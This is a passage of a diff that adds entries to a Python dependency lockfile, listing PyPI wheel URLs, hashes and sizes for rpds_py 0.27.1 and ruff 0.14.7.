+ { url = "https://files.pythonhosted.org/packages/ce/2c/5867b14a81dc217b56d95a9f2a40fdbc56a1ab0181b80132beeecbd4b2d6/rpds_py-0.27.1-cp313-cp313-win_amd64.whl", hash = "sha256:f9025faafc62ed0b75a53e541895ca272815bec18abe2249ff6501c8f2e12b83", size = 232034, upload-time = "2025-08-27T12:13:50.11Z" },
+ { url = "https://files.pythonhosted.org/packages/c7/78/3958f3f018c01923823f1e47f1cc338e398814b92d83cd278364446fac66/rpds_py-0.27.1-cp313-cp313-win_arm64.whl", hash = "sha256:ed10dc32829e7d222b7d3b93136d25a406ba9788f6a7ebf6809092da1f4d279d", size = 222392, upload-time = "2025-08-27T12:13:52.587Z" },
+ { url = "https://files.pythonhosted.org/packages/01/76/1cdf1f91aed5c3a7bf2eba1f1c4e4d6f57832d73003919a20118870ea659/rpds_py-0.27.1-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:92022bbbad0d4426e616815b16bc4127f83c9a74940e1ccf3cfe0b387aba0228", size = 358355, upload-time = "2025-08-27T12:13:54.012Z" },
+ { url = "https://files.pythonhosted.org/packages/c3/6f/bf142541229374287604caf3bb2a4ae17f0a580798fd72d3b009b532db4e/rpds_py-0.27.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:47162fdab9407ec3f160805ac3e154df042e577dd53341745fc7fb3f625e6d92", size = 342138, upload-time = "2025-08-27T12:13:55.791Z" },
+ { url = "https://files.pythonhosted.org/packages/1a/77/355b1c041d6be40886c44ff5e798b4e2769e497b790f0f7fd1e78d17e9a8/rpds_py-0.27.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fb89bec23fddc489e5d78b550a7b773557c9ab58b7946154a10a6f7a214a48b2", size = 380247, upload-time = "2025-08-27T12:13:57.683Z" },
+ { url = "https://files.pythonhosted.org/packages/d6/a4/d9cef5c3946ea271ce2243c51481971cd6e34f21925af2783dd17b26e815/rpds_py-0.27.1-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e48af21883ded2b3e9eb48cb7880ad8598b31ab752ff3be6457001d78f416723", size = 390699, upload-time = "2025-08-27T12:13:59.137Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/06/005106a7b8c6c1a7e91b73169e49870f4af5256119d34a361ae5240a0c1d/rpds_py-0.27.1-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6f5b7bd8e219ed50299e58551a410b64daafb5017d54bbe822e003856f06a802", size = 521852, upload-time = "2025-08-27T12:14:00.583Z" },
+ { url = "https://files.pythonhosted.org/packages/e5/3e/50fb1dac0948e17a02eb05c24510a8fe12d5ce8561c6b7b7d1339ab7ab9c/rpds_py-0.27.1-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:08f1e20bccf73b08d12d804d6e1c22ca5530e71659e6673bce31a6bb71c1e73f", size = 402582, upload-time = "2025-08-27T12:14:02.034Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/b0/f4e224090dc5b0ec15f31a02d746ab24101dd430847c4d99123798661bfc/rpds_py-0.27.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0dc5dceeaefcc96dc192e3a80bbe1d6c410c469e97bdd47494a7d930987f18b2", size = 384126, upload-time = "2025-08-27T12:14:03.437Z" },
+ { url = "https://files.pythonhosted.org/packages/54/77/ac339d5f82b6afff1df8f0fe0d2145cc827992cb5f8eeb90fc9f31ef7a63/rpds_py-0.27.1-cp313-cp313t-manylinux_2_31_riscv64.whl", hash = "sha256:d76f9cc8665acdc0c9177043746775aa7babbf479b5520b78ae4002d889f5c21", size = 399486, upload-time = "2025-08-27T12:14:05.443Z" },
+ { url = "https://files.pythonhosted.org/packages/d6/29/3e1c255eee6ac358c056a57d6d6869baa00a62fa32eea5ee0632039c50a3/rpds_py-0.27.1-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:134fae0e36022edad8290a6661edf40c023562964efea0cc0ec7f5d392d2aaef", size = 414832, upload-time = "2025-08-27T12:14:06.902Z" },
+ { url = "https://files.pythonhosted.org/packages/3f/db/6d498b844342deb3fa1d030598db93937a9964fcf5cb4da4feb5f17be34b/rpds_py-0.27.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:eb11a4f1b2b63337cfd3b4d110af778a59aae51c81d195768e353d8b52f88081", size = 557249, upload-time = "2025-08-27T12:14:08.37Z" },
+ { url = "https://files.pythonhosted.org/packages/60/f3/690dd38e2310b6f68858a331399b4d6dbb9132c3e8ef8b4333b96caf403d/rpds_py-0.27.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:13e608ac9f50a0ed4faec0e90ece76ae33b34c0e8656e3dceb9a7db994c692cd", size = 587356, upload-time = "2025-08-27T12:14:10.034Z" },
+ { url = "https://files.pythonhosted.org/packages/86/e3/84507781cccd0145f35b1dc32c72675200c5ce8d5b30f813e49424ef68fc/rpds_py-0.27.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:dd2135527aa40f061350c3f8f89da2644de26cd73e4de458e79606384f4f68e7", size = 555300, upload-time = "2025-08-27T12:14:11.783Z" },
+ { url = "https://files.pythonhosted.org/packages/e5/ee/375469849e6b429b3516206b4580a79e9ef3eb12920ddbd4492b56eaacbe/rpds_py-0.27.1-cp313-cp313t-win32.whl", hash = "sha256:3020724ade63fe320a972e2ffd93b5623227e684315adce194941167fee02688", size = 216714, upload-time = "2025-08-27T12:14:13.629Z" },
+ { url = "https://files.pythonhosted.org/packages/21/87/3fc94e47c9bd0742660e84706c311a860dcae4374cf4a03c477e23ce605a/rpds_py-0.27.1-cp313-cp313t-win_amd64.whl", hash = "sha256:8ee50c3e41739886606388ba3ab3ee2aae9f35fb23f833091833255a31740797", size = 228943, upload-time = "2025-08-27T12:14:14.937Z" },
+ { url = "https://files.pythonhosted.org/packages/70/36/b6e6066520a07cf029d385de869729a895917b411e777ab1cde878100a1d/rpds_py-0.27.1-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:acb9aafccaae278f449d9c713b64a9e68662e7799dbd5859e2c6b3c67b56d334", size = 362472, upload-time = "2025-08-27T12:14:16.333Z" },
+ { url = "https://files.pythonhosted.org/packages/af/07/b4646032e0dcec0df9c73a3bd52f63bc6c5f9cda992f06bd0e73fe3fbebd/rpds_py-0.27.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:b7fb801aa7f845ddf601c49630deeeccde7ce10065561d92729bfe81bd21fb33", size = 345676, upload-time = "2025-08-27T12:14:17.764Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/16/2f1003ee5d0af4bcb13c0cf894957984c32a6751ed7206db2aee7379a55e/rpds_py-0.27.1-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fe0dd05afb46597b9a2e11c351e5e4283c741237e7f617ffb3252780cca9336a", size = 385313, upload-time = "2025-08-27T12:14:19.829Z" },
+ { url = "https://files.pythonhosted.org/packages/05/cd/7eb6dd7b232e7f2654d03fa07f1414d7dfc980e82ba71e40a7c46fd95484/rpds_py-0.27.1-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b6dfb0e058adb12d8b1d1b25f686e94ffa65d9995a5157afe99743bf7369d62b", size = 399080, upload-time = "2025-08-27T12:14:21.531Z" },
+ { url = "https://files.pythonhosted.org/packages/20/51/5829afd5000ec1cb60f304711f02572d619040aa3ec033d8226817d1e571/rpds_py-0.27.1-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ed090ccd235f6fa8bb5861684567f0a83e04f52dfc2e5c05f2e4b1309fcf85e7", size = 523868, upload-time = "2025-08-27T12:14:23.485Z" },
+ { url = "https://files.pythonhosted.org/packages/05/2c/30eebca20d5db95720ab4d2faec1b5e4c1025c473f703738c371241476a2/rpds_py-0.27.1-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:bf876e79763eecf3e7356f157540d6a093cef395b65514f17a356f62af6cc136", size = 408750, upload-time = "2025-08-27T12:14:24.924Z" },
+ { url = "https://files.pythonhosted.org/packages/90/1a/cdb5083f043597c4d4276eae4e4c70c55ab5accec078da8611f24575a367/rpds_py-0.27.1-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:12ed005216a51b1d6e2b02a7bd31885fe317e45897de81d86dcce7d74618ffff", size = 387688, upload-time = "2025-08-27T12:14:27.537Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/92/cf786a15320e173f945d205ab31585cc43969743bb1a48b6888f7a2b0a2d/rpds_py-0.27.1-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:ee4308f409a40e50593c7e3bb8cbe0b4d4c66d1674a316324f0c2f5383b486f9", size = 407225, upload-time = "2025-08-27T12:14:28.981Z" },
+ { url = "https://files.pythonhosted.org/packages/33/5c/85ee16df5b65063ef26017bef33096557a4c83fbe56218ac7cd8c235f16d/rpds_py-0.27.1-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:0b08d152555acf1f455154d498ca855618c1378ec810646fcd7c76416ac6dc60", size = 423361, upload-time = "2025-08-27T12:14:30.469Z" },
+ { url = "https://files.pythonhosted.org/packages/4b/8e/1c2741307fcabd1a334ecf008e92c4f47bb6f848712cf15c923becfe82bb/rpds_py-0.27.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:dce51c828941973a5684d458214d3a36fcd28da3e1875d659388f4f9f12cc33e", size = 562493, upload-time = "2025-08-27T12:14:31.987Z" },
+ { url = "https://files.pythonhosted.org/packages/04/03/5159321baae9b2222442a70c1f988cbbd66b9be0675dd3936461269be360/rpds_py-0.27.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:c1476d6f29eb81aa4151c9a31219b03f1f798dc43d8af1250a870735516a1212", size = 592623, upload-time = "2025-08-27T12:14:33.543Z" },
+ { url = "https://files.pythonhosted.org/packages/ff/39/c09fd1ad28b85bc1d4554a8710233c9f4cefd03d7717a1b8fbfd171d1167/rpds_py-0.27.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:3ce0cac322b0d69b63c9cdb895ee1b65805ec9ffad37639f291dd79467bee675", size = 558800, upload-time = "2025-08-27T12:14:35.436Z" },
+ { url = "https://files.pythonhosted.org/packages/c5/d6/99228e6bbcf4baa764b18258f519a9035131d91b538d4e0e294313462a98/rpds_py-0.27.1-cp314-cp314-win32.whl", hash = "sha256:dfbfac137d2a3d0725758cd141f878bf4329ba25e34979797c89474a89a8a3a3", size = 221943, upload-time = "2025-08-27T12:14:36.898Z" },
+ { url = "https://files.pythonhosted.org/packages/be/07/c802bc6b8e95be83b79bdf23d1aa61d68324cb1006e245d6c58e959e314d/rpds_py-0.27.1-cp314-cp314-win_amd64.whl", hash = "sha256:a6e57b0abfe7cc513450fcf529eb486b6e4d3f8aee83e92eb5f1ef848218d456", size = 233739, upload-time = "2025-08-27T12:14:38.386Z" },
+ { url = "https://files.pythonhosted.org/packages/c8/89/3e1b1c16d4c2d547c5717377a8df99aee8099ff050f87c45cb4d5fa70891/rpds_py-0.27.1-cp314-cp314-win_arm64.whl", hash = "sha256:faf8d146f3d476abfee026c4ae3bdd9ca14236ae4e4c310cbd1cf75ba33d24a3", size = 223120, upload-time = "2025-08-27T12:14:39.82Z" },
+ { url = "https://files.pythonhosted.org/packages/62/7e/dc7931dc2fa4a6e46b2a4fa744a9fe5c548efd70e0ba74f40b39fa4a8c10/rpds_py-0.27.1-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:ba81d2b56b6d4911ce735aad0a1d4495e808b8ee4dc58715998741a26874e7c2", size = 358944, upload-time = "2025-08-27T12:14:41.199Z" },
+ { url = "https://files.pythonhosted.org/packages/e6/22/4af76ac4e9f336bfb1a5f240d18a33c6b2fcaadb7472ac7680576512b49a/rpds_py-0.27.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:84f7d509870098de0e864cad0102711c1e24e9b1a50ee713b65928adb22269e4", size = 342283, upload-time = "2025-08-27T12:14:42.699Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/15/2a7c619b3c2272ea9feb9ade67a45c40b3eeb500d503ad4c28c395dc51b4/rpds_py-0.27.1-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a9e960fc78fecd1100539f14132425e1d5fe44ecb9239f8f27f079962021523e", size = 380320, upload-time = "2025-08-27T12:14:44.157Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/7d/4c6d243ba4a3057e994bb5bedd01b5c963c12fe38dde707a52acdb3849e7/rpds_py-0.27.1-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:62f85b665cedab1a503747617393573995dac4600ff51869d69ad2f39eb5e817", size = 391760, upload-time = "2025-08-27T12:14:45.845Z" },
+ { url = "https://files.pythonhosted.org/packages/b4/71/b19401a909b83bcd67f90221330bc1ef11bc486fe4e04c24388d28a618ae/rpds_py-0.27.1-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fed467af29776f6556250c9ed85ea5a4dd121ab56a5f8b206e3e7a4c551e48ec", size = 522476, upload-time = "2025-08-27T12:14:47.364Z" },
+ { url = "https://files.pythonhosted.org/packages/e4/44/1a3b9715c0455d2e2f0f6df5ee6d6f5afdc423d0773a8a682ed2b43c566c/rpds_py-0.27.1-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f2729615f9d430af0ae6b36cf042cb55c0936408d543fb691e1a9e36648fd35a", size = 403418, upload-time = "2025-08-27T12:14:49.991Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/4b/fb6c4f14984eb56673bc868a66536f53417ddb13ed44b391998100a06a96/rpds_py-0.27.1-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1b207d881a9aef7ba753d69c123a35d96ca7cb808056998f6b9e8747321f03b8", size = 384771, upload-time = "2025-08-27T12:14:52.159Z" },
+ { url = "https://files.pythonhosted.org/packages/c0/56/d5265d2d28b7420d7b4d4d85cad8ef891760f5135102e60d5c970b976e41/rpds_py-0.27.1-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:639fd5efec029f99b79ae47e5d7e00ad8a773da899b6309f6786ecaf22948c48", size = 400022, upload-time = "2025-08-27T12:14:53.859Z" },
+ { url = "https://files.pythonhosted.org/packages/8f/e9/9f5fc70164a569bdd6ed9046486c3568d6926e3a49bdefeeccfb18655875/rpds_py-0.27.1-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:fecc80cb2a90e28af8a9b366edacf33d7a91cbfe4c2c4544ea1246e949cfebeb", size = 416787, upload-time = "2025-08-27T12:14:55.673Z" },
+ { url = "https://files.pythonhosted.org/packages/d4/64/56dd03430ba491db943a81dcdef115a985aac5f44f565cd39a00c766d45c/rpds_py-0.27.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:42a89282d711711d0a62d6f57d81aa43a1368686c45bc1c46b7f079d55692734", size = 557538, upload-time = "2025-08-27T12:14:57.245Z" },
+ { url = "https://files.pythonhosted.org/packages/3f/36/92cc885a3129993b1d963a2a42ecf64e6a8e129d2c7cc980dbeba84e55fb/rpds_py-0.27.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:cf9931f14223de59551ab9d38ed18d92f14f055a5f78c1d8ad6493f735021bbb", size = 588512, upload-time = "2025-08-27T12:14:58.728Z" },
+ { url = "https://files.pythonhosted.org/packages/dd/10/6b283707780a81919f71625351182b4f98932ac89a09023cb61865136244/rpds_py-0.27.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:f39f58a27cc6e59f432b568ed8429c7e1641324fbe38131de852cd77b2d534b0", size = 555813, upload-time = "2025-08-27T12:15:00.334Z" },
+ { url = "https://files.pythonhosted.org/packages/04/2e/30b5ea18c01379da6272a92825dd7e53dc9d15c88a19e97932d35d430ef7/rpds_py-0.27.1-cp314-cp314t-win32.whl", hash = "sha256:d5fa0ee122dc09e23607a28e6d7b150da16c662e66409bbe85230e4c85bb528a", size = 217385, upload-time = "2025-08-27T12:15:01.937Z" },
+ { url = "https://files.pythonhosted.org/packages/32/7d/97119da51cb1dd3f2f3c0805f155a3aa4a95fa44fe7d78ae15e69edf4f34/rpds_py-0.27.1-cp314-cp314t-win_amd64.whl", hash = "sha256:6567d2bb951e21232c2f660c24cf3470bb96de56cdcb3f071a83feeaff8a2772", size = 230097, upload-time = "2025-08-27T12:15:03.961Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/63/b7cc415c345625d5e62f694ea356c58fb964861409008118f1245f8c3347/rpds_py-0.27.1-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:7ba22cb9693df986033b91ae1d7a979bc399237d45fccf875b76f62bb9e52ddf", size = 371360, upload-time = "2025-08-27T12:15:29.218Z" },
+ { url = "https://files.pythonhosted.org/packages/e5/8c/12e1b24b560cf378b8ffbdb9dc73abd529e1adcfcf82727dfd29c4a7b88d/rpds_py-0.27.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:5b640501be9288c77738b5492b3fd3abc4ba95c50c2e41273c8a1459f08298d3", size = 353933, upload-time = "2025-08-27T12:15:30.837Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/85/1bb2210c1f7a1b99e91fea486b9f0f894aa5da3a5ec7097cbad7dec6d40f/rpds_py-0.27.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fb08b65b93e0c6dd70aac7f7890a9c0938d5ec71d5cb32d45cf844fb8ae47636", size = 382962, upload-time = "2025-08-27T12:15:32.348Z" },
+ { url = "https://files.pythonhosted.org/packages/cc/c9/a839b9f219cf80ed65f27a7f5ddbb2809c1b85c966020ae2dff490e0b18e/rpds_py-0.27.1-pp310-pypy310_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d7ff07d696a7a38152ebdb8212ca9e5baab56656749f3d6004b34ab726b550b8", size = 394412, upload-time = "2025-08-27T12:15:33.839Z" },
+ { url = "https://files.pythonhosted.org/packages/02/2d/b1d7f928b0b1f4fc2e0133e8051d199b01d7384875adc63b6ddadf3de7e5/rpds_py-0.27.1-pp310-pypy310_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fb7c72262deae25366e3b6c0c0ba46007967aea15d1eea746e44ddba8ec58dcc", size = 523972, upload-time = "2025-08-27T12:15:35.377Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/af/2cbf56edd2d07716df1aec8a726b3159deb47cb5c27e1e42b71d705a7c2f/rpds_py-0.27.1-pp310-pypy310_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7b002cab05d6339716b03a4a3a2ce26737f6231d7b523f339fa061d53368c9d8", size = 403273, upload-time = "2025-08-27T12:15:37.051Z" },
+ { url = "https://files.pythonhosted.org/packages/c0/93/425e32200158d44ff01da5d9612c3b6711fe69f606f06e3895511f17473b/rpds_py-0.27.1-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:23f6b69d1c26c4704fec01311963a41d7de3ee0570a84ebde4d544e5a1859ffc", size = 385278, upload-time = "2025-08-27T12:15:38.571Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/1a/1a04a915ecd0551bfa9e77b7672d1937b4b72a0fc204a17deef76001cfb2/rpds_py-0.27.1-pp310-pypy310_pp73-manylinux_2_31_riscv64.whl", hash = "sha256:530064db9146b247351f2a0250b8f00b289accea4596a033e94be2389977de71", size = 402084, upload-time = "2025-08-27T12:15:40.529Z" },
+ { url = "https://files.pythonhosted.org/packages/51/f7/66585c0fe5714368b62951d2513b684e5215beaceab2c6629549ddb15036/rpds_py-0.27.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:7b90b0496570bd6b0321724a330d8b545827c4df2034b6ddfc5f5275f55da2ad", size = 419041, upload-time = "2025-08-27T12:15:42.191Z" },
+ { url = "https://files.pythonhosted.org/packages/8e/7e/83a508f6b8e219bba2d4af077c35ba0e0cdd35a751a3be6a7cba5a55ad71/rpds_py-0.27.1-pp310-pypy310_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:879b0e14a2da6a1102a3fc8af580fc1ead37e6d6692a781bd8c83da37429b5ab", size = 560084, upload-time = "2025-08-27T12:15:43.839Z" },
+ { url = "https://files.pythonhosted.org/packages/66/66/bb945683b958a1b19eb0fe715594630d0f36396ebdef4d9b89c2fa09aa56/rpds_py-0.27.1-pp310-pypy310_pp73-musllinux_1_2_i686.whl", hash = "sha256:0d807710df3b5faa66c731afa162ea29717ab3be17bdc15f90f2d9f183da4059", size = 590115, upload-time = "2025-08-27T12:15:46.647Z" },
+ { url = "https://files.pythonhosted.org/packages/12/00/ccfaafaf7db7e7adace915e5c2f2c2410e16402561801e9c7f96683002d3/rpds_py-0.27.1-pp310-pypy310_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:3adc388fc3afb6540aec081fa59e6e0d3908722771aa1e37ffe22b220a436f0b", size = 556561, upload-time = "2025-08-27T12:15:48.219Z" },
+ { url = "https://files.pythonhosted.org/packages/e1/b7/92b6ed9aad103bfe1c45df98453dfae40969eef2cb6c6239c58d7e96f1b3/rpds_py-0.27.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:c796c0c1cc68cb08b0284db4229f5af76168172670c74908fdbd4b7d7f515819", size = 229125, upload-time = "2025-08-27T12:15:49.956Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/ed/e1fba02de17f4f76318b834425257c8ea297e415e12c68b4361f63e8ae92/rpds_py-0.27.1-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:cdfe4bb2f9fe7458b7453ad3c33e726d6d1c7c0a72960bcc23800d77384e42df", size = 371402, upload-time = "2025-08-27T12:15:51.561Z" },
+ { url = "https://files.pythonhosted.org/packages/af/7c/e16b959b316048b55585a697e94add55a4ae0d984434d279ea83442e460d/rpds_py-0.27.1-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:8fabb8fd848a5f75a2324e4a84501ee3a5e3c78d8603f83475441866e60b94a3", size = 354084, upload-time = "2025-08-27T12:15:53.219Z" },
+ { url = "https://files.pythonhosted.org/packages/de/c1/ade645f55de76799fdd08682d51ae6724cb46f318573f18be49b1e040428/rpds_py-0.27.1-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eda8719d598f2f7f3e0f885cba8646644b55a187762bec091fa14a2b819746a9", size = 383090, upload-time = "2025-08-27T12:15:55.158Z" },
+ { url = "https://files.pythonhosted.org/packages/1f/27/89070ca9b856e52960da1472efcb6c20ba27cfe902f4f23ed095b9cfc61d/rpds_py-0.27.1-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3c64d07e95606ec402a0a1c511fe003873fa6af630bda59bac77fac8b4318ebc", size = 394519, upload-time = "2025-08-27T12:15:57.238Z" },
+ { url = "https://files.pythonhosted.org/packages/b3/28/be120586874ef906aa5aeeae95ae8df4184bc757e5b6bd1c729ccff45ed5/rpds_py-0.27.1-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:93a2ed40de81bcff59aabebb626562d48332f3d028ca2036f1d23cbb52750be4", size = 523817, upload-time = "2025-08-27T12:15:59.237Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/ef/70cc197bc11cfcde02a86f36ac1eed15c56667c2ebddbdb76a47e90306da/rpds_py-0.27.1-pp311-pypy311_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:387ce8c44ae94e0ec50532d9cb0edce17311024c9794eb196b90e1058aadeb66", size = 403240, upload-time = "2025-08-27T12:16:00.923Z" },
+ { url = "https://files.pythonhosted.org/packages/cf/35/46936cca449f7f518f2f4996e0e8344db4b57e2081e752441154089d2a5f/rpds_py-0.27.1-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaf94f812c95b5e60ebaf8bfb1898a7d7cb9c1af5744d4a67fa47796e0465d4e", size = 385194, upload-time = "2025-08-27T12:16:02.802Z" },
+ { url = "https://files.pythonhosted.org/packages/e1/62/29c0d3e5125c3270b51415af7cbff1ec587379c84f55a5761cc9efa8cd06/rpds_py-0.27.1-pp311-pypy311_pp73-manylinux_2_31_riscv64.whl", hash = "sha256:4848ca84d6ded9b58e474dfdbad4b8bfb450344c0551ddc8d958bf4b36aa837c", size = 402086, upload-time = "2025-08-27T12:16:04.806Z" },
+ { url = "https://files.pythonhosted.org/packages/8f/66/03e1087679227785474466fdd04157fb793b3b76e3fcf01cbf4c693c1949/rpds_py-0.27.1-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:2bde09cbcf2248b73c7c323be49b280180ff39fadcfe04e7b6f54a678d02a7cf", size = 419272, upload-time = "2025-08-27T12:16:06.471Z" },
+ { url = "https://files.pythonhosted.org/packages/6a/24/e3e72d265121e00b063aef3e3501e5b2473cf1b23511d56e529531acf01e/rpds_py-0.27.1-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:94c44ee01fd21c9058f124d2d4f0c9dc7634bec93cd4b38eefc385dabe71acbf", size = 560003, upload-time = "2025-08-27T12:16:08.06Z" },
+ { url = "https://files.pythonhosted.org/packages/26/ca/f5a344c534214cc2d41118c0699fffbdc2c1bc7046f2a2b9609765ab9c92/rpds_py-0.27.1-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:df8b74962e35c9249425d90144e721eed198e6555a0e22a563d29fe4486b51f6", size = 590482, upload-time = "2025-08-27T12:16:10.137Z" },
+ { url = "https://files.pythonhosted.org/packages/ce/08/4349bdd5c64d9d193c360aa9db89adeee6f6682ab8825dca0a3f535f434f/rpds_py-0.27.1-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:dc23e6820e3b40847e2f4a7726462ba0cf53089512abe9ee16318c366494c17a", size = 556523, upload-time = "2025-08-27T12:16:12.188Z" },
+]
+
+[[package]]
+name = "ruff"
+version = "0.14.7"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/b7/5b/dd7406afa6c95e3d8fa9d652b6d6dd17dd4a6bf63cb477014e8ccd3dcd46/ruff-0.14.7.tar.gz", hash = "sha256:3417deb75d23bd14a722b57b0a1435561db65f0ad97435b4cf9f85ffcef34ae5", size = 5727324, upload-time = "2025-11-28T20:55:10.525Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/8c/b1/7ea5647aaf90106f6d102230e5df874613da43d1089864da1553b899ba5e/ruff-0.14.7-py3-none-linux_armv6l.whl", hash = "sha256:b9d5cb5a176c7236892ad7224bc1e63902e4842c460a0b5210701b13e3de4fca", size = 13414475, upload-time = "2025-11-28T20:54:54.569Z" },
+ { url = "https://files.pythonhosted.org/packages/af/19/fddb4cd532299db9cdaf0efdc20f5c573ce9952a11cb532d3b859d6d9871/ruff-0.14.7-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:3f64fe375aefaf36ca7d7250292141e39b4cea8250427482ae779a2aa5d90015", size = 13634613, upload-time = "2025-11-28T20:55:17.54Z" },
+ { url = "https://files.pythonhosted.org/packages/40/2b/469a66e821d4f3de0440676ed3e04b8e2a1dc7575cf6fa3ba6d55e3c8557/ruff-0.14.7-py3-none-macosx_11_0_arm64.whl", hash = "sha256:93e83bd3a9e1a3bda64cb771c0d47cda0e0d148165013ae2d3554d718632d554", size = 12765458, upload-time = "2025-11-28T20:55:26.128Z" },
+ { url = "https://files.pythonhosted.org/packages/f1/05/0b001f734fe550bcfde4ce845948ac620ff908ab7241a39a1b39bb3c5f49/ruff-0.14.7-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3838948e3facc59a6070795de2ae16e5786861850f78d5914a03f12659e88f94", size = 13236412, upload-time = "2025-11-28T20:55:28.602Z" },
+ { url = "https://files.pythonhosted.org/packages/11/36/8ed15d243f011b4e5da75cd56d6131c6766f55334d14ba31cce5461f28aa/ruff-0.14.7-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:24c8487194d38b6d71cd0fd17a5b6715cda29f59baca1defe1e3a03240f851d1", size = 13182949, upload-time = "2025-11-28T20:55:33.265Z" },
+ { url = "https://files.pythonhosted.org/packages/3b/cf/fcb0b5a195455729834f2a6eadfe2e4519d8ca08c74f6d2b564a4f18f553/ruff-0.14.7-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:79c73db6833f058a4be8ffe4a0913b6d4ad41f6324745179bd2aa09275b01d0b", size = 13816470, upload-time = "2025-11-28T20:55:08.203Z" },
+ { url = "https://files.pythonhosted.org/packages/7f/5d/34a4748577ff7a5ed2f2471456740f02e86d1568a18c9faccfc73bd9ca3f/ruff-0.14.7-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:12eb7014fccff10fc62d15c79d8a6be4d0c2d60fe3f8e4d169a0d2def75f5dad", size = 15289621, upload-time = "2025-11-28T20:55:30.837Z" },
